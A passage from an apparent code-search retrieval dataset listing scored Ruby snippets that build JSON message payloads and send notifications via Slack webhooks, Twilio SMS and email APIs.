"text": "def get_instance_message\n dropdown_options = get_instance_dropdowns\n instance_json = {\n \"text\": \"Did you want to run a test?\",\n \"attachments\": [ { \n \"text\": \"Choose environment to execute test.\",\n \"fallback\": \"You need to specify test instance.\",\n \"callback_id\": \"selected_instance\",\n \"color\": \"#3AA3E3\",\n \"attachment_type\": \"default\",\n \"actions\": [ \n { \"name\": \"instance\",\n \"text\": \"Production\",\n \"type\": \"button\",\n \"value\": \"production\" },\n { \"name\": \"instance\",\n \"text\": \"Release\",\n \"type\": \"button\",\n \"value\": \"release\" },\n\n { \"name\": \"instance\",\n \"text\": \"Select environment\",\n \"type\": \"select\",\n \"options\": dropdown_options },\n { \"name\": \"instance\",\n \"text\": \"cancel\",\n \"style\": \"danger\",\n \"type\": \"button\",\n \"value\": \"cancel\" }\n ]\n } ] }\n return instance_json\n end",
"title": ""
},
{
"docid": "9a6b9e2a9774eb32a01546ac1b26d35b",
"score": "0.58032167",
"text": "def get_text(msg)\n {\n response_type: 'in_channel',\n text: msg\n }.to_json\nend",
"title": ""
},
{
"docid": "c80b0acd192565168a9cad913b2b6b0b",
"score": "0.5800173",
"text": "def message(text, options)\n url = @@webhook_urls[options[:webhook_name]]\n\n body = { 'text' => text }.to_json\n\n HTTParty.post(url, body: body)\n end",
"title": ""
},
{
"docid": "f3888d46db717c37f6066491d22470c4",
"score": "0.57616514",
"text": "def payload(text)\n {\n token: slack_token_out,\n team_id: slack_team,\n channel_id: '0',\n channel_name: 'default',\n timestamp: Time.now.utc.to_s,\n user_id: '0',\n user_name: user_name,\n text: text,\n trigger: 'bikes'\n }\n end",
"title": ""
},
{
"docid": "038a77f53e05d7093fbd1b871e6de767",
"score": "0.5738847",
"text": "def as_json\n {\n type: :text,\n data:\n {\n text: body,\n format: :html\n }\n }\n end",
"title": ""
},
{
"docid": "6f1a9bcd97ca5012f5e9cc692d0e8970",
"score": "0.5659537",
"text": "def exp_msg\n { :'message' => MailgunClient.exp_msg }.to_json\n end",
"title": ""
},
{
"docid": "a82ca2a2333fa255db4187be14f6b264",
"score": "0.56163853",
"text": "def payload_for_updated\n {\n attachments: [{\n color: 'good',\n title: 'Integrations Application Deployed :boom::bangbang:',\n fields: [{\n title: 'Environment',\n value: stage,\n short: true\n }, {\n title: 'Branch',\n value: branch,\n short: true\n }, {\n title: 'Deployer',\n value: deployer,\n short: true\n }, {\n title: 'Time',\n value: elapsed_time,\n short: true\n }],\n fallback: super[:text]\n }],\n text: \"<!here> Application Deployed!\"\n }\n end",
"title": ""
},
{
"docid": "d050b5ec286f178fd3d3efe18396b9fc",
"score": "0.56162626",
"text": "def notification_json_options\n {\n include: {\n target: { methods: [:printable_type, :printable_target_name] },\n notifiable: { methods: [:printable_type] },\n group: { methods: [:printable_type, :printable_group_name] },\n notifier: { methods: [:printable_type, :printable_notifier_name] },\n group_members: {}\n },\n methods: [:notifiable_path, :printable_notifiable_name, :group_member_notifier_count, :group_notification_count, :text]\n }\n end",
"title": ""
},
{
"docid": "4f19086772bd4f7a9ad6984b1673a7ad",
"score": "0.5616127",
"text": "def generate_text_msg(id, text)\n return { type: 0, id: id, text: text }.to_json\n end",
"title": ""
},
{
"docid": "bdfecc8097f2ea011ccb961fd49ed4a7",
"score": "0.5591826",
"text": "def as_json(options = {})\n {\n :api_key => api_key,\n :notifier => {\n :name => notifier_name,\n :url => notifier_url,\n :version => notifier_version,\n :language => 'ruby'\n },\n :error => {\n :class => error_class,\n :message => error_message,\n :backtrace => backtrace,\n :source => source_extract,\n :fingerprint => fingerprint\n },\n :request => {\n :url => url,\n :component => component,\n :action => action,\n :params => parameters,\n :session => session_data,\n :cgi_data => cgi_data,\n :context => context\n },\n :server => {\n :project_root => project_root,\n :environment_name => environment_name,\n :hostname => hostname,\n :stats => stats\n }\n }\n end",
"title": ""
},
{
"docid": "12a9d49673d3f3d2de40de72d0e6bb3c",
"score": "0.5584213",
"text": "def post_text\n\n\t\t\tcontent=\"\t\t\\\"DeploymentId\\\" : \\\"\" + @DeploymentId + \"\\\",\\n\"\n\t\t\tcontent+=\"\t\t\\\"Host\\\" : \\\"\" + @Host + \"\\\"\\n\"\n\t\t\tcontent+=\"\t},\\n\"\n\t\t\treturn content\n\n\t\tend",
"title": ""
},
{
"docid": "f637c7ccb9163b03bf3c2af4330ec427",
"score": "0.5554331",
"text": "def message(text, options)\n url = @@webhook_urls[options[:webhook_name]]\n\n body = { 'text' => text }.to_json\n\n HTTParty.post(url, body: body,\n http_proxyaddr: @@proxy_opts[:url],\n http_proxyport: @@proxy_opts[:port],\n http_proxyuser: @@proxy_opts[:user],\n http_proxypass: @@proxy_opts[:password]\n )\n end",
"title": ""
},
{
"docid": "cf5e128833ce9330cbe279428090aecc",
"score": "0.55441505",
"text": "def process_send_email_options(options)\n text_template = options.delete(:text_template)\n html_template = options.delete(:html_template)\n\n options[:to] = build_recipients(options[:to]) unless options[:to].nil?\n options[:cc] = build_recipients(options[:cc]) unless options[:cc].nil?\n options[:bcc] = build_recipients(options[:bcc]) unless options[:bcc].nil?\n\n options[:text] = ERB.new( File.open( find_template(text_template) ).read ).result(self.binding) if text_template\n options[:html] = ERB.new( File.open( find_template(html_template) ).read ).result(self.binding) if html_template\n\n # clean up the text template a little\n if options[:text]\n options[:text].gsub! /^ +/, ''\n options[:text].gsub! /\\n{3,}/, \"\\n\\n\"\n end\n\n options\n end",
"title": ""
},
{
"docid": "9ef42d5ba5fc3469ab7bd0c579703d85",
"score": "0.54798937",
"text": "def send_text_message params\n params.map { |key, value| params[key] = value.to_json.to_s if value.class.to_s == Hash.name }\n params.merge!(\n {Action: 'SendSms',\n Version: '2017-05-25',\n RegionId: 'cn-hangzhou'})\n JSON.parse request params\n\n end",
"title": ""
},
{
"docid": "145cac566f9f0d6856ab4809bfbbd7b4",
"score": "0.54706186",
"text": "def send_notification options={}\n ap '-- send_notification --'\n ap options\n end",
"title": ""
},
{
"docid": "4d28574cc279c6cf41170de4d07f5877",
"score": "0.54645264",
"text": "def post(text, options={})\n expect! text => String\n expect! options => { :object => [nil, Quest] }\n \n Deferred.xing(:create_status_message, self.class.message(text, options[:object]), oauth_hash)\n end",
"title": ""
},
{
"docid": "f1965467e37778f7d92eca6c41f66eb1",
"score": "0.54407954",
"text": "def notify(options={})\n url = @@webhook_urls[options[:webhook_name]]\n title = options[:title]\n status = options[:status]\n color = options[:color] || color_for(status)\n duration = Slackiq::TimeHelper.elapsed_time_humanized(options[:created_at], Time.current)\n extra_fields = options.except(:webhook_name, :title, :status, :color, :created_at)\n\n fields = [\n {\n 'title' => 'Résultat',\n 'value' => status == :success ? 'Succès' : 'Échec',\n 'short' => true\n },\n {\n 'title' => \"Temps d'exécution\",\n 'value' => duration,\n 'short' => true\n }\n ]\n\n # add extra fields\n fields += extra_fields.map do |title, value|\n {\n 'title' => title,\n 'value' => value,\n 'short' => false\n }\n end\n\n attachments = [\n {\n 'fallback' => title,\n 'color' => color,\n 'title' => title,\n 'fields' => fields,\n }\n ]\n\n body = {attachments: attachments}.to_json\n\n HTTParty.post(url, body: body)\n end",
"title": ""
},
{
"docid": "772349a103517f8738c8bcc6c6ad038d",
"score": "0.54378945",
"text": "def options_for_push(push_service_name, platform, notification, sandbox = false)\n options = { \"service\": push_service_name,\n \"subscriber\": \"*.#{notification.language}\",\n \"title\": notification.headline,\n \"msg\": notification.message,\n \"sound\": \"default\",\n \"article_id\": notification.article_id,\n \"language\": notification.language,\n }\n\n # If we're pushing to an android device then we need to check the sandbox\n if platform == \"android\"\n options[:subscriber] += \".sandbox\" if sandbox == true\n\n # Android requires a seperate set of code for the notification vs the data delivered to the app.\n options[\"uniqush.notification.fcm\"] = {\n \"title\": notification.headline,\n \"body\": notification.message\n }.to_json\n end\n\n options\n end",
"title": ""
},
{
"docid": "623785621698371dfc229cd0e219e27f",
"score": "0.5428789",
"text": "def as_json(options = {})\n json = super(options)\n RestrictedTextRedacter.new.redacted_as_json(\n super_json: json,\n restricted_key: 'text',\n is_restricted: self.is_restricted,\n as_json_options: options\n )\n end",
"title": ""
},
{
"docid": "623785621698371dfc229cd0e219e27f",
"score": "0.5428789",
"text": "def as_json(options = {})\n json = super(options)\n RestrictedTextRedacter.new.redacted_as_json(\n super_json: json,\n restricted_key: 'text',\n is_restricted: self.is_restricted,\n as_json_options: options\n )\n end",
"title": ""
},
{
"docid": "b6c589200c3f12435f542494c271ca70",
"score": "0.54116946",
"text": "def send_text_message(options)\n send_message plain_text(options)\n end",
"title": ""
},
{
"docid": "5af67eca4ae7be1a5feabb5dd2b2bf58",
"score": "0.53900373",
"text": "def send_text_message(recipient_id, message_text)\n message_data = {\n recipient: {\n id: recipient_id\n },\n message: {\n text: message_text\n }\n }\n puts \"message_data: #{message_data.to_json}\"\n call_send_api(message_data)\nend",
"title": ""
},
{
"docid": "ff7310f995c14f5b092e28f3cbf02065",
"score": "0.5352476",
"text": "def options_to_json(options)\n content = options.map{|key, value| \"#{key}: #{to_js_value(value)}\"}.join(\",\\n\")\n \"{#{content}}\"\n end",
"title": ""
},
{
"docid": "338c9ba388d97c1bacbbdc947fae2ff3",
"score": "0.53217053",
"text": "def as_json(options={})\n {\n object_key: object_key,\n subject: subject,\n active: active,\n created_at: created_at,\n email_status: email_status,\n user: user&.to_s,\n to_user: to_user&.to_s,\n name: message_template&.name,\n description: message_template&.description,\n message_enabled: active && message_template&.message_enabled,\n email_enabled: email_status == EMAIL_STATUS_SENT || (active && email_enabled?)\n }\n end",
"title": ""
},
{
"docid": "9448d5a751dc4ce1670f820afe2988de",
"score": "0.52889115",
"text": "def text_message_events(text, user_id = 'hoge1')\n {\n 'events': [\n text_message_event(text, user_id)\n ]\n }.to_json\n end",
"title": ""
},
{
"docid": "165440328e084fbe113ae262745df10e",
"score": "0.5286979",
"text": "def selective_string options={}\n str = self.body unless options[:no_body]\n\n if options[:with_headers]\n header = raw_header(options[:with_headers])\n str = [header, str].compact.join \"\\r\\n\"\n end\n\n str\n end",
"title": ""
},
{
"docid": "a814623d27e3fe09881c7e5e9e5a7ca2",
"score": "0.52793",
"text": "def notification_json_options\n {\n include: {\n target: { methods: [:printable_type, :printable_target_name] },\n notifiable: { methods: [:printable_type] },\n group: { methods: [:printable_type, :printable_group_name] },\n notifier: { methods: [:printable_type, :printable_notifier_name] },\n group_members: {}\n },\n methods: [:notifiable_path, :printable_notifiable_name, :group_member_notifier_count, :group_notification_count]\n }\n end",
"title": ""
},
{
"docid": "91734d3c1075d01db436817a032779dc",
"score": "0.5244301",
"text": "def as_json(options = {})\n json = super(options)\n RestrictedTextRedacter.new.redacted_as_json(\n super_json: json,\n restricted_key: 'restricted_text',\n is_restricted: true,\n as_json_options: options\n )\n end",
"title": ""
},
{
"docid": "429c75eaf13b74221018ddfb286c3833",
"score": "0.5232839",
"text": "def respond_message message\n content_type :json\n {:text => message}.to_json\nend",
"title": ""
},
{
"docid": "48018d944cc397c21e2dbac76094b610",
"score": "0.52306855",
"text": "def text\n result = {\n VERSION_KEY => version\n }\n\n result[DATA_KEY] = {\n PARENT_TYPE_KEY => parent_type,\n PARENT_ACCOUNT_ID_KEY => parent_account_id,\n PARENT_APP_KEY => parent_app_id,\n TX_KEY => transaction_id,\n TRACE_ID_KEY => trace_id,\n SAMPLED_KEY => sampled,\n PRIORITY_KEY => priority,\n TIMESTAMP_KEY => timestamp\n }\n\n result[DATA_KEY][ID_KEY] = id if id\n result[DATA_KEY][TRUSTED_ACCOUNT_KEY] = trusted_account_key if trusted_account_key\n\n JSON.dump(result)\n end",
"title": ""
},
{
"docid": "9900d0692c45c53a32904a2bd0a2868f",
"score": "0.5203737",
"text": "def payload_for_updated\n {\n attachments: [{\n color: 'good',\n title: 'Desplegado en ' + stage.to_s,\n fields: [{\n title: 'Environment',\n value: stage,\n short: true\n }, {\n title: 'Branch',\n value: branch,\n short: true\n }, {\n title: 'Deployer',\n value: deployer,\n short: true\n }, {\n title: 'Time',\n value: elapsed_time,\n short: true\n }],\n fallback: super[:text]\n }],\n text: changelog\n }\n end",
"title": ""
},
{
"docid": "408ef634089343991f61d9bf6dda5421",
"score": "0.51973087",
"text": "def respond_message(message)\n content_type :json\n {:text => message}.to_json\nend",
"title": ""
},
{
"docid": "1e6636d23f4dfdf135e2e39e5061f388",
"score": "0.5195281",
"text": "def generate_system_maintenance_welcome\n\n\t\tmessage = {}\n\t\tmessage['welcome_message'] = {}\n\t\tmessage['welcome_message']['message_data'] = {}\n\t\tmessage['welcome_message']['message_data']['text'] = \"System going under maintenance... Come back soon...\"\n\n\t\tmessage.to_json\n\n\tend",
"title": ""
},
{
"docid": "a7d964af8dcdcb5b1c7dc43605f23628",
"score": "0.51706517",
"text": "def message(options)\n\t\t@sent_messages << options[:text]\n\tend",
"title": ""
},
{
"docid": "0cb04e08c685d706069c033d7a41dc78",
"score": "0.5167716",
"text": "def env\n {\n 'Accept' => 'text/plain',\n 'Content-Type' => 'text/plain'\n }\n end",
"title": ""
},
{
"docid": "f84e0e36fbc890f7558fee36715c33aa",
"score": "0.5164264",
"text": "def selective_string options={}\n str = @body unless options[:no_body]\n\n if options[:show_headers]\n header = raw_header(options[:show_headers])\n str = [header, str].compact.join \"\\r\\n\"\n end\n\n str\n end",
"title": ""
},
{
"docid": "cf61a34569432582cf1615670e08d379",
"score": "0.5141287",
"text": "def as_json options=nil\n options ||= {}\n options[:methods] = ((options[:methods] || []) + [:product_logo, :product_name, :execution])\n super options\n end",
"title": ""
},
{
"docid": "f49296e11008981fcc178ea44a00f216",
"score": "0.51176107",
"text": "def to_h\n {}.tap do |body|\n body[:text] = text if text\n body[:channel] = channel if channel\n end\n end",
"title": ""
},
{
"docid": "052ddfa3fd1f909a7aa17c0555a96d78",
"score": "0.51112294",
"text": "def send_at(text, options)\n message = {'text' => text, 'to' => options[:to]}\n send_ats message\n end",
"title": ""
},
{
"docid": "4abcb5e26b31452fa26f40635bb5d052",
"score": "0.510786",
"text": "def send options\n\t\t# \n\t\tpost_body = {\n\n\t\t\t'username' => @username, \n\t\t\t'message' => options['message'], \n\t\t\t'to' => options['to']\n\t\t}\t\n\t\tif options['from'] != nil\n\t\t\tpost_body['from'] = options['from']\n\t\tend\n\t\tif options['enqueue'] === true\n\t\t\tpost_body['enqueue'] = 1\n\t\tend\n\t\tif options['bulkSMSMode'] != nil\n\t\t\tpost_body['bulkSMSMode'] = options['bulkSMSMode']\n\t\tend\n\t\tif options['retryDurationInHours'] != nil\n\t\t\tpost_body['retryDurationInHours'] = options['retryDurationInHours']\n\t\tend\n\t\t# \n\t\tif validateParamsPresence?(options, ['message', 'to'])\n\t\t\tresponse = sendNormalRequest(getSmsUrl(), post_body)\n\t\tend\n\t\tif @response_code == HTTP_CREATED\n\t\t\tmessageData = JSON.parse(response,:quirks_mode=>true)[\"SMSMessageData\"]\n\t\t\trecipients = messageData[\"Recipients\"]\n\t\t\t\n\t\t\tif recipients.length > 0\n\t\t\t\treports = recipients.collect { |entry|\n\t\t\t\t\tStatusReport.new entry[\"number\"], entry[\"status\"], entry[\"cost\"], entry[\"messageId\"]\n\t\t\t\t}\n\t\t\t\t# \n\t\t\t\treturn reports\n\t\t\tend\n\t\t\t\n\t\t\traise AfricasTalkingException, messageData[\"Message\"]\n\t\t\t\n\t\telse\n\t\t\traise AfricasTalkingException, response\n\t\tend\n\tend",
"title": ""
},
{
"docid": "01ec5d4c15ed58505b47c9ae2aed0b0c",
"score": "0.50962096",
"text": "def req_opts(content_type = 'plain/text')\n {\n input: 'body',\n 'CONTENT_TYPE' => content_type\n }\nend",
"title": ""
},
{
"docid": "741cf6cc566bda04519d6e520b79fb98",
"score": "0.5090229",
"text": "def twilio_txt\n notify = self.status_changed?\n if notify \n if self.status == \"Intervention\" or self.status == \"intervention\" then\n account_sid = ENV['TWILIO_ACCOUNT_SID']\n auth_token = ENV['TWILIO_AUTH_TOKEN']\n @client = Twilio::REST::Client.new(account_sid, auth_token)\n phone_to = self.column.battery.building.technical_contact_phone_for_the_building\n \n message = @client.messages.create(\n body: \"Hello Mr/Mrs #{self.column.battery.building.full_name_of_the_technical_contact_for_the_building}. The Elevator ID: #{self.id}, with Serial Number: #{self.serial_number} requires maintenance, the elevators status has been changed to: #{self.status}\",\n from: '+16106869129',\n to: +4184469990 \n ) \n end \n end \n end",
"title": ""
},
{
"docid": "aef704c0f2c0fa0921a57659854afead",
"score": "0.5088617",
"text": "def json options = {}\n content_type :json\n options[:status] ||= 0\n halt 200, options.to_json\n end",
"title": ""
},
{
"docid": "2c2527cc62218b1aed944d2b3923fa4e",
"score": "0.50845045",
"text": "def slack(text)\n puts \"sending to slack\"\n uri = URI(ENV['SLACK_WEBHOOK_URL'])\n payload = {\"text\" => text}\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n request = Net::HTTP::Post.new(uri.request_uri, \"Content-type\" => \"application/json\")\n request.body = payload.to_json\n http.request(request)\nend",
"title": ""
},
{
"docid": "39e1324f14fd9229ea1e8516a30e071d",
"score": "0.50800246",
"text": "def deployment_notification(path, options)\n place_default_values(options)\n\n return request path, JSON.generate(options)\n end",
"title": ""
},
{
"docid": "14f5bf20e3c9aa838c0e1bbcdf297cbf",
"score": "0.5059761",
"text": "def as_json(options={})\n {\n :id => id,\n :subject => ((not options[:current_user].nil?) ? self.topic.try(:message_title, options[:current_user]) : subject),\n :body => body,\n :created_at => created_at,\n :readable_created_at => created_at.try(:strftime, \"%A, %b %d\"),\n :receiver => User.find(receiver_id).try(:as_json),\n :image_path => ((not options[:current_user].nil?) ? self.topic.try(:image_info_for_topic, options[:current_user]).try(:[], :thumb) : nil)\n }\n end",
"title": ""
},
{
"docid": "6775c937660b92ff361e83f61378ec54",
"score": "0.50545144",
"text": "def send(options)\n response = EmailDirect.post \"/RelaySends/#{category_id}\", :body => options.to_json\n Hashie::Mash.new(response)\n end",
"title": ""
},
{
"docid": "3a80cf787ea14d8c61b9838a801991c9",
"score": "0.5049088",
"text": "def func_return_ASCII(event, context)\n message = 'text'\n\n return {\n :status => 200,\n :data => message,\n }\nend",
"title": ""
},
{
"docid": "8caff327cd7751b38631bc66dea6376e",
"score": "0.504904",
"text": "def send_release_notice(version, release_note, type, selectors, options = {})\n if external?(type)\n header = \"A new version of #{config.name} is available:\"\n else\n header = \"A new development version of #{config.name} is available:\"\n end\n\n msg = <<-END1\nHi,\n\n#{header}\n\n #{version} #{selectors}\n\nRelease note:\n\n--------------------------------------------------------------------------------------\n\n#{release_note}\n\n--------------------------------------------------------------------------------------\n END1\n\n if config.release_instructions\n msg += <<-END2\n\n#{config.release_instructions}\n\n--------------------------------------------------------------------------------------\n END2\n end\n\n msg += <<-END3\n\nYou are receiving this because you are a member of the #{config.name} Mailing List,\nor a member of the development team.\nEND3\n\n if external?(type)\n to = Origen.app.maillist_prod + Origen.app.maillist_dev\n if config.release_email_subject\n subject = \"[#{Origen.app.namespace}] New Official Release: #{config.release_email_subject}\"\n else\n subject = \"[#{Origen.app.namespace}] New Official Release\"\n end\n else\n to = Origen.app.maillist_dev\n if config.release_email_subject\n subject = \"[#{Origen.app.namespace}] New Development Tag: #{config.release_email_subject}\"\n else\n subject = \"[#{Origen.app.namespace}] New Development Tag\"\n end\n end\n\n begin\n send_email({ to: to, subject: subject, body: msg }.merge(options))\n rescue\n warn \"Email could not be sent to #{to}\"\n end\n end",
"title": ""
},
{
"docid": "8777f901e647ba488dccf09bca74acba",
"score": "0.50446653",
"text": "def post( text )\n message = {\n 'time' => Time.now.strftime('%Y%m%d%H%M%S'),\n 'text' => text\n }\n\n data['messages'] << message\n end",
"title": ""
},
{
"docid": "2dc4f0832b26a17003de8c55e8f9dd4c",
"score": "0.5044665",
"text": "def get_payload_options; end",
"title": ""
},
{
"docid": "c0b804b7d0787d8b3f08d10bbd15acf8",
"score": "0.5033052",
"text": "def json_response_for_slack(reply)\n response = { text: reply, link_names: 1 }\n logger.info(\"JSON response is #{response.to_json}\")\n response[:username] = ENV['BOT_USERNAME'] unless ENV['BOT_USERNAME'].nil?\n response[:icon_emoji] = ENV['BOT_ICON'] unless ENV['BOT_ICON'].nil?\n response.to_json\nend",
"title": ""
},
{
"docid": "42ace6ede92d93ad37ae9ed25726c091",
"score": "0.5030811",
"text": "def post_text(text)\n post_message({ :text => text }) if text\n end",
"title": ""
},
{
"docid": "fc357e86ef55c16ea24c95561635f4cb",
"score": "0.5001824",
"text": "def generate_welcome_message_default\n\n\t\tmessage = {}\n\t\tmessage['welcome_message'] = {}\n\t\tmessage['welcome_message']['message_data'] = {}\n\t\tmessage['welcome_message']['message_data']['text'] = generate_greeting\n\n\t\tmessage['welcome_message']['message_data']['quick_reply'] = generate_options_menu\n\n\t\tmessage.to_json\n\n\tend",
"title": ""
},
{
"docid": "1ed4f110097fb0e8cac0f8e18e4ceac1",
"score": "0.500044",
"text": "def default_options\n {\n 'api_username' => 'u6xxxxxxxxxxxxxxxxxxxxxxxxxxxxx',\n 'api_password' => 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',\n 'from' => 'Huginn',\n 'to' => ['+46700000000'],\n 'message' => 'Hello this message from your friend Huginn.',\n }\n end",
"title": ""
},
{
"docid": "7d53dc6f22e3940b487cee054e37f169",
"score": "0.49950498",
"text": "def json_response_for_slack(reply)\n response = { text: reply, link_names: 1 }\n response[:username] = ENV['BOT_USERNAME'] unless ENV['BOT_USERNAME'].nil?\n response[:icon_emoji] = ENV['BOT_ICON'] unless ENV['BOT_ICON'].nil?\n response.to_json\nend",
"title": ""
},
{
"docid": "bf6bce034c9ff9edb04af778163cacc0",
"score": "0.49867854",
"text": "def send_text_message(message, receipient, options = {})\n params = {'NUMBER' => receipient, 'MESSAGE' => message}\n if options.has_key?(:origin) && options[:origin].nil?\n # ignore origin, even if it's in config\n elsif options[:origin] || self.config.origin\n # set origin override config is specified in options\n params['ORIGIN'] = options[:origin] || self.config.origin\n end\n params['FLASH'] = 'ON' if options[:flash]\n params['TEST'] = 'ON' if options[:test] || (self.config.deliver == false)\n post_request('SENDMESSAGE', params)\n end",
"title": ""
},
{
"docid": "8b1f08d74c9348fc2d78d260fcb890b1",
"score": "0.49799442",
"text": "def slack\n {\n response_type: 'in_channel',\n text: %(```\\n#{yield}\\n```) \n }.to_json\n end",
"title": ""
},
{
"docid": "d28b3bafa2514450cf97f15030adf495",
"score": "0.49794838",
"text": "def build_options_str(options={})\n opt = []\n SUPPORTED_OPTS.values.each do |k|\n if options.has_key? k\n key = k.to_s.gsub('_', '-') \n if [ :all_morphs, :partial, :marginal, :allocate_sentence ].include?(k) \n opt << \"--#{key}\" if options[k]==true\n else\n opt << \"--#{key}=#{options[k]}\"\n end\n end\n end\n opt.empty? ? \"\" : opt.join(\" \") \n end",
"title": ""
},
{
"docid": "24e233d6157269e6b77c9333231aa421",
"score": "0.4977839",
"text": "def test(options)\n handle_sendgrid_options(options)\n recipients(options[:to])\n from(options[:from])\n reply_to(options[:reply_to])\n subject(options[:subject])\n body(options[:html_content])\n end",
"title": ""
},
{
"docid": "c3eb1cc5efcec0d3b267249de86bf493",
"score": "0.497707",
"text": "def to_json\n {\n email_client: ENV['EMAIL_CLIENT'],\n id: email_client.id,\n sent: email_client.sent?,\n to: @to,\n to_name: @to_name,\n from: @from,\n from_name: @from_name,\n subject: @subject,\n body: @body\n }.to_json\n end",
"title": ""
},
{
"docid": "82d489c34fe7c76c62194e65b68b9f54",
"score": "0.4972629",
"text": "def as_json(options = {})\n options ||= {}\n hash = {\n :level => level,\n :dt => formatted_dt,\n :message => message,\n :tags => tags,\n :time_ms => time_ms\n }\n\n if !event.nil?\n hash[:event] = event.as_json\n end\n\n if !context_snapshot.nil? && context_snapshot.length > 0\n hash[:context] = context_snapshot\n end\n\n hash[:\"$schema\"] = SCHEMA\n\n hash = if options[:only]\n hash.select do |key, _value|\n options[:only].include?(key)\n end\n elsif options[:except]\n hash.select do |key, _value|\n !options[:except].include?(key)\n end\n else\n hash\n end\n\n # Preparing a log event for JSON should remove any blank values. Timber strictly\n # validates incoming data, including message size. Blank values will fail validation.\n # Moreover, binary data (ASCII-8BIT) generally cannot be encoded into JSON because it\n # contains characters outside of the valid UTF-8 space.\n Util::Hash.deep_reduce(hash) do |k, v, h|\n # Discard blank values\n if !v.nil? && (!v.respond_to?(:length) || v.length > 0)\n # If the value is a binary string, give it special treatment\n if v.respond_to?(:encoding) && v.encoding == ::Encoding::ASCII_8BIT\n # Only keep binary values less than a certain size. Sizes larger than this\n # are almost always file uploads and data we do not want to log.\n if v.length < BINARY_LIMIT_THRESHOLD\n # Attempt to safely encode the data to UTF-8\n encoded_value = encode_string(v)\n if !encoded_value.nil?\n h[k] = encoded_value\n end\n end\n else\n # Keep all other values\n h[k] = v\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c9c7238a55afca9eb41257aa65bfd46",
"score": "0.4972407",
"text": "def json_response_for_slack(reply)\n response = { text: reply, link_names: 1 }\n response[:username] = ENV[\"BOT_USERNAME\"] unless ENV[\"BOT_USERNAME\"].nil?\n response[:icon_emoji] = ENV[\"BOT_ICON\"] unless ENV[\"BOT_ICON\"].nil?\n response.to_json\nend",
"title": ""
},
{
"docid": "e26e25fcd0203cde731af06f35713632",
"score": "0.49706313",
"text": "def as_json(options={}){\n \t\tmonitors: @monitors,\n \tcheck_rate: @check_rate,\n \thistory: @history,\n \tmultiple_notifications: @multiple_notifications,\n \tpush_notifications: @push_notifications,\n \tprice: @price \n }\n \tend",
"title": ""
},
{
"docid": "96bfd34c0c48efa9d307383e00631e2e",
"score": "0.496918",
"text": "def send(text)\n # send as json\n headers = { 'Content-Type' => 'application/json' }\n # payload\n body = { \"text\": text, \"icon_emoji\": @icon_emoji, username: @username}\n # add the channel if there is one\n # otherwise the default channel from the slack integration will be used \n if @channel\n body[\"channel\"] = @channel\n end\n\n # rescue from request errors\n begin\n # make request\n r = HTTParty.post(@webhook_url, body: body.to_json, headers: headers )\n return (r.code == 200)\n rescue\n return false\n end\n end",
"title": ""
},
{
"docid": "3a43f90109f5e57f13449ebe765ffd9f",
"score": "0.49634293",
"text": "def text(items)\n data = items.collect do |item|\n type = case item[:type]\n when :alert\n 1\n when :info\n 2\n else\n 0\n end\n {:text => item[:text], :type => type}\n end\n self.push(:item => data)\n end",
"title": ""
},
{
"docid": "d8a479405829df6289109d982e95aedf",
"score": "0.49427912",
"text": "def slack_message(message, options = {})\n return if message.empty?\n\n supported_types = {\n error: \":x: \",\n info: \":information_source: \",\n release_build: \":tada: \",\n submitted: \":rocket: \"\n }\n\n slack_message_tag = \" (#{options[:tag_name]})\" if options[:tag_name] && !options[:tag_name].empty?\n slack_message = \"#{supported_types[options[:type]]}#{message}#{slack_message_tag}\"\n slack_success = !!options[:success] == options[:success] ? options[:success] : true\n default_payloads = options[:default_payloads] ? options[:default_payloads] : [:git_branch]\n slack_payload = {}\n slack_payload['Release URL'] = options[:release_url] if options[:release_url] && !options[:release_url].empty?\n slack_payload.merge!(options[:additional_payloads]) if options[:additional_payloads]\n\n slack(\n message: slack_message,\n success: slack_success,\n default_payloads: default_payloads,\n payload: slack_payload\n )\nend",
"title": ""
},
{
"docid": "518156705f5196bfd27ec350f9d37678",
"score": "0.4941283",
"text": "def send_email_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.send_email ...'\n end\n # resource path\n local_var_path = '/marketing/v3/transactional/single-email/send'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', '*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'public_single_send_request_egg']) \n\n # return_type\n return_type = opts[:return_type] || 'EmailSendStatusView' \n\n # auth_names\n auth_names = opts[:auth_names] || ['hapikey', 'oauth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#send_email\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "befda3a477f7b6258cb54e70a5c20c4b",
"score": "0.49407184",
"text": "def call(env)\n content = {\n env: application_env,\n release_hashref: release_hashref,\n timestamp: timestamp\n }.delete_if(&->(_, v) { v.nil? })\n\n case env['PATH_INFO']\n when /\\.json\\z/\n type = 'application/json'\n body = content.to_json\n else\n type = 'text/plain'\n body = \"#{content[:env]}: #{content[:release_hashref]}\"\n body += \" (#{content[:timestamp]})\" if content[:timestamp]\n end\n\n [ '200', { 'Content-Type' => type }, [ body ] ]\n end",
"title": ""
},
{
"docid": "3aab535bbd3a8343ece36e099d5a771a",
"score": "0.49401292",
"text": "def send_settings(settings)\r\n \toutput = {to: settings[:recipients]}\r\n \toutput[:subject] = settings[:subject]\r\n \toutput[:html_body] = @html if (@html || \"\") != \"\"\r\n \toutput[:body] = @text if (@text || \"\") != \"\"\r\n output[:from] = settings[:from] if settings.include?(:from)\r\n output.merge(pony_settings(settings))\r\n end",
"title": ""
},
{
"docid": "c6f7518a1b9443dfe95edc3ac247df20",
"score": "0.494001",
